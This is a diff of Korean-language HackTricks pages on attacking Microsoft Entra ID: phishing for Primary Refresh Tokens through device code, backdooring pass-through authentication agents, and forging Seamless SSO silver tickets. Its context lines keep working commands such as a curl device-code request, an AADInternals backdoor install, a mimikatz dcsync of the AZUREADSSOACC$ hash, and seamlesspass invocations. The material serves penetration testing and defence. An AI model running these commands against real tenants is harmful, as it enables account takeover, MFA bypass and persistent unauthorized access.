||||
|
||||
## PRT 피싱
|
||||
|
||||
@@ -274,14 +274,14 @@ Admin/SYSTEM은 다른 사용자의 실행 중인 세션을 가장하여 Browser
|
||||
|
||||
- **PRT**는 **장치에 바인딩**되어 있으며 **(거의 모든) Entra 보호 앱에 대한 SSO를 가능하게 합니다.**
|
||||
- **브로커 클라이언트 + DRS** 조합은 피싱된 **새로 고침 토큰**을 **PRT로 교환**할 수 있게 합니다.
|
||||
- **MFA가 우회되지 않음**: **사용자가 피싱 중 MFA를 수행**하며, **MFA 클레임이** 결과 PRT로 전파되어 공격자가 **추가 프롬프트 없이** 앱에 접근할 수 있게 합니다.
|
||||
- **MFA가 우회되지 않음**: **사용자가 피싱 중 MFA를 수행**하며, **MFA 클레임이 결과 PRT로 전파**되어 공격자가 **추가 프롬프트 없이** 앱에 접근할 수 있게 합니다.
|
||||
|
||||
**전제 조건**:
|
||||
|
||||
- **브로커 클라이언트 ID**(`29d9ed98-a469-4536-ade2-f981bc1d605e`) 및 **DRS 범위/리소스**를 사용한 **장치 코드**를 통한 **사용자 인증** (예: **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** 또는 **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **사용자가 Entra ID에서 장치를 등록할 수 있음** (**기본값: 허용**, 그러나 제한되거나 쿼터가 있을 수 있음).
|
||||
- **장치 코드**를 **비활성화**하거나 **대상 앱에 대해 준수/하이브리드 장치**를 요구하는 **차단 CA 정책이 없음** (이들은 PRT 발급을 중단하지 않지만, **보호된 앱에 접근하기 위해** 사용하는 것을 차단합니다).
|
||||
- **공격자가 제어하는 호스트**가 흐름을 실행하고 토큰/장치 키를 보유합니다.
|
||||
- **사용자가 Entra ID에서 장치를 등록할 수 있음** (**기본값: 허용**, 그러나 제한되거나 쿼터가 제한될 수 있음).
|
||||
- **장치 코드**를 **비활성화**하거나 **대상 앱에 대해 준수/하이브리드 장치**를 요구하는 **차단 CA 정책 없음** (이들은 PRT 발급을 중단하지 않지만, **보호된 앱에 접근하기 위해** 사용하는 것을 차단합니다).
|
||||
- **공격자가 제어하는 호스트**에서 흐름을 실행하고 토큰/장치 키를 보유합니다.
|
||||
|
||||
**공격 흐름**:
|
||||
|
||||
@@ -292,30 +292,28 @@ curl -s -X POST \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **희생자가 Microsoft 사이트**(정상 UI)에서 로그인하고 **MFA**를 완료합니다 → **공격자는 Broker 클라이언트**에 대한 DRS 범위의 refresh token을 받습니다.
|
||||
2. **피해자가 Microsoft 사이트** (정상 UI)에서 로그인하고 **MFA**를 완료합니다 → **공격자는 Broker 클라이언트**에 대한 DRS 범위의 refresh token을 받습니다.
|
||||
|
||||
3. **그 refresh token을 사용하여 테넌트에 악성 장치를 등록**합니다(장치 객체가 생성되고 희생자와 연결됨).
|
||||
3. **해로운 장치 등록**: 해당 refresh token을 사용하여 테넌트에 **해로운 장치**를 등록합니다 (장치 객체가 생성되어 피해자와 연결됩니다).
|
||||
|
||||
4. **refresh token + 장치 ID/키**를 교환하여 **PRT로 업그레이드**합니다 → **PRT**가 공격자의 장치에 바인딩됩니다.
|
||||
4. **PRT로 업그레이드**: **refresh token + 장치 ID/키**를 교환하여 **PRT**를 공격자의 장치에 바인딩합니다.
|
||||
|
||||
5. **(선택적 지속성)**: MFA가 새로웠다면, **장기적인 비밀번호 없는 접근을 유지하기 위해 Windows Hello for Business 키를 등록**합니다.
|
||||
|
||||
6. **남용**: 사용자의 **access tokens**를 얻기 위해 **PRT**(또는 **PRT 쿠키**를 발행)합니다 **Exchange/Graph/SharePoint/Teams/사용자 정의 앱**에 대해.
|
||||
5. **(선택적 지속성)**: MFA가 새로웠다면, **Windows Hello for Business 키**를 등록하여 **장기적인 비밀번호 없는 접근**을 유지합니다.
|
||||
|
||||
6. **남용**: 사용자의 **access tokens**를 얻기 위해 **PRT**를 사용하거나 **PRT 쿠키**를 발급받습니다 (Exchange/Graph/SharePoint/Teams/사용자 정의 앱에 대해).
|
||||
|
||||
### 공개 도구 및 개념 증명
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth 흐름, 장치 등록 및 토큰 업그레이드를 자동화합니다.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): 장치 코드 피싱을 PRT+WHfB 키로 자동화하는 단일 명령 스크립트.
|
||||
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): 장치 코드 피싱을 PRT+WHfB 키로 자동화하는 단일 명령 스크립트입니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [Dirkjan의 PRT에 대한 블로그 게시물](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan의 PRT 피싱에 대한 게시물](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan의 PRT 남용에 대한 게시물](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps의 [Azure AD 요청 토큰 요청](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) 게시물
|
||||
- [AADInternals의 PRT에 대한 게시물](https://aadinternals.com/post/prt/)
|
||||
- [Dirkjan의 PRT에 대한 블로그 포스트](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan의 PRT 피싱에 대한 포스트](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan의 PRT 남용에 대한 포스트](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps의 [Azure AD 요청 토큰 요청](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) 포스트
|
||||
- [AADInternals의 PRT에 대한 포스트](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증은 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호를 사용하여 로그인할 수 있도록** 합니다. 이 기능은 사용자가 기억해야 할 비밀번호를 하나 줄여주어 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 절감합니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증을 사용하면 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호로 로그인할 수 있습니다**. 이 기능은 사용자가 기억해야 할 비밀번호를 줄여 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 줄입니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.
|
||||
|
||||
PTA에서는 **아이덴티티**는 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 같은 방식).
|
||||
PTA에서는 **아이덴티티**가 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 다름).
|
||||
|
||||
인증은 온프레미스 AD에서 검증되며, 클라우드와의 통신은 **온프레미스 서버**에서 실행되는 **인증 에이전트**에 의해 이루어집니다 (온프레미스 DC에 있을 필요는 없습니다).
|
||||
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
**Azure AD Connect 서버**에 **admin** 접근 권한이 있고 **PTA** **에이전트**가 실행 중인 경우, **AADInternals** 모듈을 사용하여 **모든 비밀번호**를 **검증하는 백도어**를 **삽입**할 수 있습니다 (따라서 모든 비밀번호가 인증에 유효하게 됩니다):
|
||||
**Azure AD Connect 서버**에 **admin** 접근 권한이 있고 **PTA** **에이전트**가 실행 중인 경우, **AADInternals** 모듈을 사용하여 **모든 비밀번호**가 유효하다고 **검증하는 백도어**를 **삽입**할 수 있습니다 (따라서 모든 비밀번호가 인증에 유효하게 됩니다):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
이는 [**PHS (비밀번호 해시 동기화)**](phs-password-hash-sync.md)와 [**PTA (통과 인증)**](pta-pass-through-authentication.md) 모두에서 지원됩니다.
|
||||
|
||||
데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **`AZUREADSSOACC$`라는 컴퓨터 계정을 생성**합니다. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Entra ID에 평문으로 전송**됩니다.
|
||||
데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **`AZUREADSSOACC$`라는 컴퓨터 계정을 생성합니다**. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Entra ID에 평문으로 전송됩니다**.
|
||||
|
||||
**Kerberos 티켓**은 비밀번호의 **NTHash (MD4)**를 사용하여 **암호화**되며, Entra ID는 전송된 비밀번호를 사용하여 티켓을 복호화합니다.
|
||||
|
||||
@@ -44,7 +44,7 @@ TGS 티켓을 얻기 위해 공격자는 다음 중 하나를 가져야 합니
|
||||
- **손상된 사용자의 TGS:** 메모리에서 `HTTP/autologon.microsoftazuread-sso.com`에 대한 티켓으로 사용자의 세션을 손상시키면 클라우드 리소스에 접근할 수 있습니다.
|
||||
- **손상된 사용자의 TGT:** 사용자가 손상되었지만 TGT가 없더라도, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에 구현된 가짜 TGT 위임 트릭을 사용하여 하나를 얻을 수 있습니다.
|
||||
- **손상된 사용자의 해시 또는 비밀번호:** SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성한 다음 TGS를 생성합니다.
|
||||
- **골든 티켓:** KRBTGT 키가 있다면 공격당한 사용자를 위한 TGT를 생성할 수 있습니다.
|
||||
- **골든 티켓:** KRBTGT 키가 있으면 공격된 사용자에게 필요한 TGT를 생성할 수 있습니다.
|
||||
- **AZUREADSSOACC$ 계정 해시 또는 비밀번호:** 이 정보와 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행된 것처럼).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
@@ -65,12 +65,12 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다.
|
||||
Firefox를 seamless SSO와 함께 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다.
|
||||
|
||||
|
||||
### AZUREADSSOACC$ 계정의 해시 가져오기
|
||||
|
||||
사용자 **`AZUREADSSOACC$`의 **비밀번호**는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수 있으며**, 이를 사용하여 **은 티켓**을 생성하여 **동기화된 모든 온프레미스 사용자**로 Azure에 연결할 수 있습니다:
|
||||
사용자 **`AZUREADSSOACC$`의 **비밀번호**는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수** 있으며, 이를 사용하여 **모든 온프레미스 사용자와 동기화된** Azure에 연결하기 위해 **실버 티켓을 생성할 수** 있습니다:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -90,7 +90,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
```
|
||||
> [!NOTE]
|
||||
> 현재 정보로는 이전에 언급한 대로 **SeamlessPass** 도구를 사용하여 도메인 내의 모든 사용자에 대한 azure 및 entraid 토큰을 얻을 수 있습니다.
|
||||
> 또한 이전 기술(및 기타 기술)을 사용하여 `AZUREADSSOACC$` 계정 대신에 가장하고자 하는 피해자의 비밀번호 해시를 얻을 수 있습니다.
|
||||
> 또한 이전 기술(및 기타)을 사용하여 `AZUREADSSOACC$` 계정 대신에 가장하고자 하는 피해자의 비밀번호 해시를 얻을 수 있습니다.
|
||||
|
||||
#### Silver Tickets 생성
|
||||
|
||||
@@ -116,7 +116,7 @@ Silver ticket을 활용하기 위해서는 다음 단계를 실행해야 합니
|
||||
1. **브라우저 시작:** Mozilla Firefox를 실행해야 합니다.
|
||||
2. **브라우저 구성:**
|
||||
- **`about:config`**로 이동합니다.
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 설정을 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다:
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)의 선호도를 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefox `설정`으로 이동하여 `Microsoft, 작업 및 학교 계정을 위한 Windows 단일 로그인 허용`을 검색하고 활성화합니다.
|
||||
3. **웹 애플리케이션 접근:**
|
||||
@@ -189,4 +189,4 @@ Active Directory 관리자가 Azure AD Connect에 접근할 수 있다면, **모
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user